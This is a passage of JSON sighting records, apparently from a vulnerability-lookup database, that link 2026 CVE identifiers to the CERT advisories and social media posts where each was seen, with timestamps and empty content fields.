"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0299/", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "c38fdb26-6e58-4af3-bba1-ca9329a1f1c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27664", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116296013311556150", "content": "", "creation_timestamp": "2026-03-26T14:45:36.385809Z"}, {"uuid": "76fdfb0c-f884-45dc-b84e-7b695079d7ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "998106c8-e418-4e99-98eb-7b2ab6ae0b75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mgvujrkwsw2j", "content": "", "creation_timestamp": "2026-03-13T02:28:23.020621Z"}, {"uuid": "308921fe-6cd3-48a1-b20f-41e21f05b579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27959", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-011/", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "c3b37be7-2dc6-4f4f-b387-8e35a678f06d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27138", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "4d2b7dfd-ce51-46dc-beb5-26672ed09ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27138", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mgvujrkwsw2j", "content": "", "creation_timestamp": "2026-03-13T02:28:23.099097Z"}, {"uuid": "4bfea3d5-67ec-4932-a47b-0a01c7385cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27205", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mhdo24lupk2s", "content": "", "creation_timestamp": "2026-03-18T14:09:34.514437Z"}, {"uuid": "5185dfd4-fc0a-48e0-8480-ec2cc652bf9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27139", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "d16ee4ea-59e3-4ffc-84a6-14178914906d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "ab2b8e77-60e7-4a5a-89da-34852930a81f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27171", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "4fff3938-fd39-4570-a259-83c83b9b76a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27571", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "895c638c-2186-4299-a105-ac275684488a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27894", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhqygqnnnr2y", "content": "", "creation_timestamp": "2026-03-23T21:20:09.244351Z"}, {"uuid": "1efd3ef3-b476-46e6-a34c-ad14da6daafe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27704", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "7e644121-fc22-44f7-8aa5-9834401d7dec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27141", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0299/", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "01f55aa5-f159-438c-a88d-fa96629cbbc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "6e54b816-786b-405b-b712-ee2f23633bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2745", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/gitlab-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "91e15ff4-6716-4bb1-8dfd-c9bef69a8168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2726", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/gitlab-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "fdc488cb-666f-405b-8531-89e2c67db7b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27568", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-33500", "content": "", "creation_timestamp": "2026-03-23T16:16:51.000000Z"}, {"uuid": "4a26ddcb-5a09-4571-86a9-27c5f313e324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27275", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgwaektfel22", "content": "", "creation_timestamp": "2026-03-13T06:00:13.418940Z"}, {"uuid": "3d6aec85-4e75-4c4a-b594-759117d60ddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27591", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116213614461031957", "content": "", "creation_timestamp": "2026-03-12T01:30:39.270181Z"}, {"uuid": "44de168f-66ed-4564-83c0-962934dd3a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27798", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116316841599408182", "content": "", "creation_timestamp": "2026-03-30T07:02:34.564588Z"}, {"uuid": "f846d424-c557-45d6-89f8-c7b3a61ea89e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27070", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfwyskeia2n", "content": "", "creation_timestamp": "2026-03-19T11:55:10.878700Z"}, {"uuid": "ee5085b5-e49e-4327-8def-61a1af617645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27664", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhy46a3vtq2i", "content": "", "creation_timestamp": "2026-03-26T17:15:36.533665Z"}, {"uuid": "88b0c339-e608-4c49-94eb-9c164334f264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27859", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi23k4xfpy27", "content": "", "creation_timestamp": "2026-03-27T12:09:41.847054Z"}, {"uuid": "924571d5-85fc-46ef-b855-fba161c4873c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27068", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfx7t5aji2d", "content": "", "creation_timestamp": "2026-03-19T11:59:06.322691Z"}, {"uuid": "c33e7250-79b4-4ba6-b4a4-27f6594c17be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27857", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi23lwink725", "content": "", "creation_timestamp": "2026-03-27T12:10:41.838251Z"}, {"uuid": "d469e154-e6b2-42c8-8309-a67d1854d785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27799", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116316841599408182", "content": "", "creation_timestamp": "2026-03-30T07:02:34.488860Z"}, {"uuid": "a351c4be-0014-430c-a646-56d0343894f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27067", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfxdo3was2x", "content": "", "creation_timestamp": "2026-03-19T12:01:15.047476Z"}, {"uuid": "dc2ce237-aff4-4bc5-bf8f-d4d0b39e48d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27858", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi2445zzf42g", "content": "", "creation_timestamp": "2026-03-27T12:19:46.858660Z"}, {"uuid": "a7e6e2dd-6a78-43d2-9504-6bdb31de5a38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27856", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi24cuzb4q2i", "content": "", "creation_timestamp": "2026-03-27T12:23:32.527779Z"}, {"uuid": "9a1282b7-4652-480f-87e5-b462047115bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27855", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi24kkl3wz24", "content": "", "creation_timestamp": "2026-03-27T12:27:49.607437Z"}, {"uuid": "f4e1bc76-4db3-43ad-ac32-e3aa50914dc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27649", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-06", "content": "", "creation_timestamp": "2026-03-19T11:00:00.000000Z"}, {"uuid": "02b2c11f-b072-4ad3-b02b-74686bf1968e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27860", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi24tiyi3523", "content": "", "creation_timestamp": "2026-03-27T12:32:50.232855Z"}, {"uuid": "1fd8f433-f572-419b-8b1b-6a65a377aabb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27663", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhy5or3yeh25", "content": "", "creation_timestamp": "2026-03-26T17:42:45.097812Z"}, {"uuid": "3441671a-d535-4d31-ba8c-0a3b35471514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27065", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfydbmm432e", "content": "", "creation_timestamp": "2026-03-19T12:18:55.618621Z"}, {"uuid": "41c871ac-0e20-4c32-9107-b50a2c7f2c00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27625", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhidtnalex2n", "content": "", "creation_timestamp": "2026-03-20T10:50:15.519717Z"}, {"uuid": "a62d1202-0d17-4bd3-9277-02885cd3caaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27065", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116255845908540421", "content": "", "creation_timestamp": "2026-03-19T12:30:31.247564Z"}, {"uuid": "bba1b65e-f625-4b39-8362-0ccb2bcc1716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27065", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhfyxztbfg2o", "content": "", "creation_timestamp": "2026-03-19T12:30:33.506224Z"}, {"uuid": "2e71ec40-515e-4296-91b1-24a13c8aaa81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27139", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "cddb08a6-d13c-46dd-9892-979b23c16977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27220", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhb3msqqvs22", "content": "", "creation_timestamp": "2026-03-17T13:34:39.928525Z"}, {"uuid": "61ade758-69a7-482c-a869-855a5f4e3aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27278", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhb3msqqvs22", "content": "", "creation_timestamp": "2026-03-17T13:34:40.005311Z"}, {"uuid": "e55f28d5-8849-46a6-acc1-4e2b48a59a78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2720", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-2720", "content": "", "creation_timestamp": "2026-03-21T03:17:11.000000Z"}, {"uuid": "9e885bfd-cc42-4e0e-820e-3eba998e384b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2723", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-2723", "content": "", "creation_timestamp": "2026-03-21T03:17:12.000000Z"}, {"uuid": "7b48821d-1ae2-43ee-a8ef-d240f237263e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27498", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-n8n-2", "content": "", "creation_timestamp": "2026-02-26T11:50:14.000000Z"}, {"uuid": "8d0b7501-3cd6-4b32-a1a7-0cbfae033a34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-n8n-2", "content": "", "creation_timestamp": "2026-02-26T11:50:14.000000Z"}, {"uuid": "62792b08-b0a0-4240-89e8-cd217c3b2698", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27497", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-n8n-2", "content": "", "creation_timestamp": "2026-02-26T11:50:14.000000Z"}, {"uuid": "173366d6-c08b-4c16-9f4a-cfd35e2baf0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27494", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-n8n-2", "content": "", "creation_timestamp": "2026-02-26T11:50:14.000000Z"}, {"uuid": "0f43196d-0ac3-4b35-a180-d02a5321c18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27493", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-n8n-2", "content": "", "creation_timestamp": "2026-02-26T11:50:14.000000Z"}, {"uuid": "3cfec355-4836-4c0f-ba6a-67a5d68c37a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-n8n-2", "content": "", "creation_timestamp": "2026-02-26T11:50:14.000000Z"}, {"uuid": "d8e5dd61-b51c-4036-b33d-655f10261c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27611", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhe42c7ttr2u", "content": "", "creation_timestamp": "2026-03-18T18:20:10.219809Z"}, {"uuid": "0aa33189-048f-47c5-ae72-0c92983f1f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27043", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhgknv2jvc2y", "content": "", "creation_timestamp": "2026-03-19T17:46:58.860332Z"}, {"uuid": "eee6665c-31eb-47c8-b022-be98fbddc111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtojjur3i2w", "content": "", "creation_timestamp": "2026-03-24T23:00:44.922363Z"}, {"uuid": "4ba65553-8d39-4f52-b251-48d8838fdc71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27784", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtonc4ptz27", "content": "", "creation_timestamp": "2026-03-24T23:02:51.392845Z"}, {"uuid": "133c9801-7c81-46a5-875f-8df5e44ee89a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27962", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhmxw5omiy2w", "content": "", "creation_timestamp": "2026-03-22T07:00:13.664082Z"}, {"uuid": "e560c433-f2a0-496f-b5f0-4b7f3ed495ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27651", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtoniqce52x", "content": "", "creation_timestamp": "2026-03-24T23:02:58.127952Z"}, {"uuid": "1361d71d-bd31-4ed9-b067-ed3bd434eac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2745", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-high-severity-vulnerabilities-gitlab-patch-immediately", "content": "", "creation_timestamp": "2026-03-27T10:02:46.000000Z"}, {"uuid": "702d40a6-0ee8-4bec-8f53-b1af9d1e2bcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27274", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgucvi3w3x2q", "content": "", "creation_timestamp": "2026-03-12T11:40:09.106296Z"}, {"uuid": "e4a9dbf2-2013-4bbd-9bfb-b22cab5d8457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhe5bdyig32u", "content": "", "creation_timestamp": "2026-03-18T18:42:00.958753Z"}, {"uuid": "44887ae9-bbcd-440d-8529-582d6f5e1d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mhe5my3bp22q", "content": "", "creation_timestamp": "2026-03-18T18:48:30.753252Z"}, {"uuid": "5e6da8ab-4488-4986-8b9a-c7d3886a4f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2726", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-high-severity-vulnerabilities-gitlab-patch-immediately", "content": "", "creation_timestamp": "2026-03-27T10:02:46.000000Z"}, {"uuid": "7a2278e4-2afd-4ab5-b9a5-eb0b2ef5b1a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2726", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhvchlod2p25", "content": "", "creation_timestamp": "2026-03-25T14:30:14.207133Z"}, {"uuid": "3593dcc4-1f84-4c22-9a4d-b75152bc1a77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2745", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhvchlod2p25", "content": "", "creation_timestamp": "2026-03-25T14:30:14.307813Z"}, {"uuid": "f4f8d8f4-dda8-467f-b9c4-d5f7654a3dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhgvmdlioo2h", "content": "", "creation_timestamp": "2026-03-19T21:03:01.692128Z"}, {"uuid": "63093668-207d-4b70-9c03-eae913c65e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27138", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "8cc5f84d-53e2-4566-84e7-8b7bcc8fe12f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "13af6f7c-6464-4fa4-b5e7-de41f5bbcabb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27685", "type": "seen", "source": "https://www.cert.se/2026/03/patchtisdag-mars-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-03-11T14:35:00.000000Z"}, {"uuid": "cb9f820e-bbbf-4824-9ad6-589d36465f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27065", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27065", "content": "", "creation_timestamp": "2026-03-19T08:16:17.000000Z"}, {"uuid": "ce2af8d1-5571-43c6-be1e-091e1d59f232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27591", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mgugq5rnq32h", "content": "", "creation_timestamp": "2026-03-12T12:48:45.152532Z"}, {"uuid": "0356440b-74c9-4b0a-a037-8af01dbc4c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhbuolrfpo2b", "content": "", "creation_timestamp": "2026-03-17T21:03:04.388433Z"}, {"uuid": "e8d1d8be-8278-4d07-a180-e9b71381fe92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27897", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhirsmclvp2h", "content": "", "creation_timestamp": "2026-03-20T15:00:13.795926Z"}, {"uuid": "ca9bfe2f-9371-49aa-9aad-798f229518b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27210", "type": "seen", "source": "https://infosec.exchange/users/InfobloxThreatIntel/statuses/116284748694197065", "content": "", "creation_timestamp": "2026-03-24T15:01:27.532994Z"}, {"uuid": "107ee13a-40af-4807-bf5a-02996ee13ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27067", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27067", "content": "", 